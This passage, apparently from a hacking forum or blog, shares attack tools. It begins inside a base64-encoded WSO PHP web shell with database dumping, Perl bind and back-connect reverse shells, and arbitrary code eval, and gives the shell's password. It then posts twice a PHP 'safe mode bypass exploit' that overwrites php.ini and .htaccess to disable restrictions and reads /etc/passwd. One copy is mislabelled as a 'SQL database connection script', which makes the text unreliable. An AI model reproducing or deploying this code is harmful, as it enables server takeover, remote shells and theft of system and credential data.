cj4KCQk8L3RhYmxlPgoJCTxzY3JpcHQ+CiAgICAgICAgICAgIHNfZGI9JyIuQGFk
ZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsKICAgICAgICAgICAgZnVu
Y3Rpb24gZnMoZikgewogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1
ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsKICAgICAgICAg
ICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAgICAg
ICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAg
ICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsKICAgICAgICAgICAgICAgIH0KICAg
ICAgICAgICAgfQoJCQlmdW5jdGlvbiBzdCh0LGwpIHsKCQkJCWQuc2YucDEudmFs
dWUgPSAnc2VsZWN0JzsKCQkJCWQuc2YucDIudmFsdWUgPSB0OwogICAgICAgICAg
ICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsKCQkJCWQu
c2Yuc3VibWl0KCk7CgkJCX0KCQkJZnVuY3Rpb24gaXMoKSB7CgkJCQlmb3IoaT0w
O2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQoJCQkJCWQuc2Yu
ZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0
YmxbXSddW2ldLmNoZWNrZWQ7CgkJCX0KCQk8L3NjcmlwdD4iOwoJaWYoaXNzZXQo
JGRiKSAmJiAkZGItPmxpbmspewoJCWVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEw
MCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7CgkJCWlmKCFlbXB0eSgk
X1BPU1RbJ3NxbF9iYXNlJ10pKXsKCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydz
cWxfYmFzZSddKTsKCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9y
ZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJy
Pjxicj4iOwoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJCQl3
aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgewoJCQkJCWxpc3Qo
JGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogICAgICAgICAgICAgICAgICAg
IGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkKICAgICAgICAgICAgICAg
ICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VO
VCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsKCQkJCQkkdmFsdWUgPSBodG1s
c3BlY2lhbGNoYXJzKCR2YWx1ZSk7CgkJCQkJZWNobyAiPG5vYnI+PGlucHV0IHR5
cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZu
YnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4k
dmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJz
cDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJy
PiI7CgkJCQl9CgkJCQllY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xp
Y2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNs
aWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQu
c2Yuc3VibWl0KCk7Jz48YnI+RmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFt
ZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10
b3A6MnB4IHNvbGlkICM2NjY7Jz4iOwoJCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAn
c2VsZWN0JykgewoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7CiAgICAgICAg
ICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddPyRfUE9TVFsn
cDMnXToxOwoJCQkJCSRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZS
T00gJyAuICRfUE9TVFsncDInXSk7CgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsK
CQkJCQkkcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsKICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8c2NyaXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtz
dChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIsIGQuc2YucDMudmFsdWUpfTwvc2Ny
aXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSBy
ZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9
IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7CiAgICAgICAgICAgICAgICAg
ICAgZWNobyAiIG9mICRwYWdlcyI7CiAgICAgICAgICAgICAgICAgICAgaWYoJF9Q
T1NUWydwMyddID4gMSkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxh
IGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAu
ICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQcmV2PC9hPiI7CiAgICAgICAg
ICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQogICAgICAgICAg
ICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAu
ICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5O
ZXh0ICZndDs8L2E+IjsKICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10t
LTsKCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykKCQkJCQkJJF9QT1NU
WydwMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAz
MCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsKCQkJCQllbHNlCgkJCQkJCSRf
UE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBM
SU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwoJCQkJCWVjaG8gIjxicj48
YnI+IjsKCQkJCX0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYm
ICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7CgkJCQkJJGRiLT5xdWVyeShAJF9QT1NU
WydwMiddKTsKCQkJCQlpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsKCQkJCQkJJHRp
dGxlID0gZmFsc2U7CgkJCQkJCWVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxz
cGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluIHN0eWxlPSJiYWNrZ3Jv
dW5kLWNvbG9yOiMyOTI5MjkiPic7CgkJCQkJCSRsaW5lID0gMTsKCQkJCQkJd2hp
bGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsKCQkJCQkJCWlmKCEkdGl0bGUpCXsK
CQkJCQkJCQllY2hvICc8dHI+JzsKCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRr
ZXkgPT4gJHZhbHVlKQoJCQkJCQkJCQllY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7
CgkJCQkJCQkJcmVzZXQoJGl0ZW0pOwoJCQkJCQkJCSR0aXRsZT10cnVlOwoJCQkJ
CQkJCWVjaG8gJzwvdHI+PHRyPic7CgkJCQkJCQkJJGxpbmUgPSAyOwoJCQkJCQkJ
fQoJCQkJCQkJZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOwoJCQkJCQkJ
JGxpbmUgPSAkbGluZT09MT8yOjE7CgkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRr
ZXkgPT4gJHZhbHVlKSB7CgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpCgkJCQkJ
CQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsKCQkJCQkJCQllbHNlCgkJ
CQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVl
KSkuJzwvdGQ+JzsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzwvdHI+JzsKCQkJCQkJ
fQoJCQkJCQllY2hvICc8L3RhYmxlPic7CgkJCQkJfSBlbHNlIHsKCQkJCQkJZWNo
byAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVy
cm9yKCkpLic8L2Rpdj4nOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gIjxicj48L2Zv
cm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2Yu
cDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTty
ZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0
aDoxMDAlO2hlaWdodDoxMDBweCc+IjsKICAgICAgICAgICAgICAgIGlmKCFlbXB0
eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykp
CiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9T
VFsncDInXSk7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+
PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwoJCQkJZWNobyAi
PC90ZD48L3RyPiI7CgkJCX0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4i
OwogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgewogICAg
ICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2Vy
IFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQg
YEZpbGVfcHJpdmAgPSAneSciKTsKICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0
Y2goKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0n
ZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9
dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsn
PjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAn
IHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+
PC9mb3JtPiI7CiAgICAgICAgICAgIH0KCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAn
bG9hZGZpbGUnKSB7CgkJCQkkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydw
MiddKTsKCQkJCWVjaG8gJzxici8+PHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lh
bGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOwoJCQl9Cgl9IGVsc2Ugewog
ICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOwogICAg
fQoJZWNobyAnPC9kaXY+JzsKCXdzb0Zvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlv
bk5ldHdvcmsoKSB7Cgl3c29IZWFkZXIoKTsKCSRiYWNrX2Nvbm5lY3RfcD0iSXlF
dmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFds
dVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNG
Y2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENB
a2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205
MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5
RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NC
OGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0
RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFw
dmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFW
VUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBO
TFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJV
b1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVW
U1VpazciOwoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tV
MGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dl
eUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNK
bEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxL
Q2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNi
aUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRS
VUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJN
RjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZj
blJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpk
R1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBU
azRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlR
MkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0pi
M0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJ
ajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtD
UWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVk
Q0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05D
Z2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwoJZWNobyAiPGgxPk5ldHdvcmsgdG9v
bHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCTxmb3JtIG5hbWU9J25mcCcgb25T
dWJtaXQ9XCJnKG51bGwsbnVsbCwnYnBwJyx0aGlzLnBvcnQudmFsdWUpO3JldHVy
biBmYWxzZTtcIj4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwv
c3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQn
IHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPgoJ
PC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxs
LCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJu
IGZhbHNlO1wiPgoJPHNwYW4+QmFjay1jb25uZWN0ICBbcGVybF08L3NwYW4+PGJy
Lz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFs
dWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0
IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0
eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPgoJPC9mb3JtPjxicj4iOwoJaWYoaXNzZXQo
JF9QT1NUWydwMSddKSkgewoJCWZ1bmN0aW9uIGNmKCRmLCR0KSB7CgkJCSR3ID0g
QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29u
dGVudHMnKTsKCQkJaWYoJHcpewoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29k
ZSgkdCkpOwoJCQkJQGZjbG9zZSgkdyk7CgkJCX0KCQl9CgkJaWYoJF9QT1NUWydw
MSddID09ICdicHAnKSB7CgkJCWNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3Ap
OwoJCQkkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncDIn
XS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgICAgICBzbGVlcCgxKTsK
CQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwg
Z3JlcCBicC5wbCIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoIi90bXAv
YnAucGwiKTsKCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7CgkJCWNm
KCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOwoJCQkkb3V0ID0gd3NvRXgo
InBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMydd
LiIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgIHNsZWVwKDEpOwoJ
CQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBn
cmVwIGJjLnBsIikuIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGluaygiL3RtcC9i
Yy5wbCIpOwoJCX0KCX0KCWVjaG8gJzwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQpm
dW5jdGlvbiBhY3Rpb25SQygpIHsKCWlmKCFAJF9QT1NUWydwMSddKSB7CgkJJGEg
PSBhcnJheSgKCQkJInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwKCQkJInBocF92ZXJz
aW9uIiA9PiBwaHB2ZXJzaW9uKCksCgkJCSJ3c29fdmVyc2lvbiIgPT4gV1NPX1ZF
UlNJT04sCgkJCSJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpCgkJ
KTsKCQllY2hvIHNlcmlhbGl6ZSgkYSk7Cgl9IGVsc2UgewoJCWV2YWwoJF9QT1NU
WydwMSddKTsKCX0KfQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKCWlmKGlzc2V0
KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4g
JGRlZmF1bHRfYWN0aW9uKSkKCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlv
bjsKCWVsc2UKCQkkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsKaWYoICFlbXB0eSgk
X1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NU
WydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10p
OwpleGl0Ow=="));
?>
---------------------------------------------------------------------------------------------------------------------

Password=dz0
Iwish you'll apreciate it and Bye.

SQL database connection script

Hi all;
In this article im gonna give you a script that with you can connect to mysql database by putting informations of the mysql database
Source code :
------------------------------------------------------------------------------------------------------------------------
<?

/*

bypass safe mode exploit by SIlent Haxor

*/

echo "[+] Start...\n";

$bypfile=fopen('php.ini','w+');

$stuffile=fopen('.htaccess','w+');

if($bypfile and $stuffile!= NULL){

echo "[+] evil files created succes ! \n";

}

else{

echo "[-] access denial ! \n";

}

$byprullz1="safe_mode = OFF

";

$byprullz2="disable_functions = NONE";

$dj=fwrite($bypfile,$byprullz1);

$dj1=fwrite($bypfile,$byprullz2);

fclose($bypfile);

if($dj and $dj1!= NULL){

echo "[+] php.ini writed \n";

}

else{

echo "[-] 404 php.ini not found !\n";

}

$breakrullz="suPHP_ConfigPath /home/nurorme/public_html/php.ini"; // replace this '/home/user/public_html' by ur path

$sf7=fwrite($stuffile,$breakrullz);

fclose($stuffile);

if($sf7!= NULL){

echo "[+] evil .htaccess writing...done\n";

echo "[+] exploited by success!\n\n\n";

echo "\t\t\t[+] programmed by Hunter\n";

echo "\t\t\t[+] home : :D";

echo "\t\t\t[+] Greetz : My old memories ..\n";

}

else{

echo "[-] evil .htaccess Not found!\n";

}

system("pwd;ls -lia;uname -a;cat /etc/passwd");

#EOF

?>

-------------------------------------------------------------------------------------------------------------------------------------------
 I wish you'll apreciate it and Bye .

Script Bypass Safe Mode = On

Hi all;
in this article im gonna give you a tool to bypass definitivly  Safe Mode= On
Source Code:

----------------------------------------------------------------------------------------------------------
<?

/*

bypass safe mode exploit by SIlent Haxor

*/

echo "[+] Start...\n";

$bypfile=fopen('php.ini','w+');

$stuffile=fopen('.htaccess','w+');

if($bypfile and $stuffile!= NULL){

echo "[+] evil files created succes ! \n";

}

else{

echo "[-] access denial ! \n";

}

$byprullz1="safe_mode = OFF

";

$byprullz2="disable_functions = NONE";

$dj=fwrite($bypfile,$byprullz1);

$dj1=fwrite($bypfile,$byprullz2);

fclose($bypfile);

if($dj and $dj1!= NULL){

echo "[+] php.ini writed \n";

}

else{

echo "[-] 404 php.ini not found !\n";

}

$breakrullz="suPHP_ConfigPath /home/nurorme/public_html/php.ini"; // replace this '/home/user/public_html' by ur path

$sf7=fwrite($stuffile,$breakrullz);

fclose($stuffile);

if($sf7!= NULL){

echo "[+] evil .htaccess writing...done\n";

echo "[+] exploited by success!\n\n\n";

echo "\t\t\t[+] programmed by Hunter\n";

echo "\t\t\t[+] home : ";

echo "\t\t\t[+] Greetz : My old memories ..\n";

}

else{

echo "[-] evil .htaccess Not found!\n";

}

system("pwd;ls -lia;uname -a;cat /etc/passwd");

#EOF

?>

----------------------------------------------------------------------------------------------------------------------

I wish You'll apreciate it and Bye.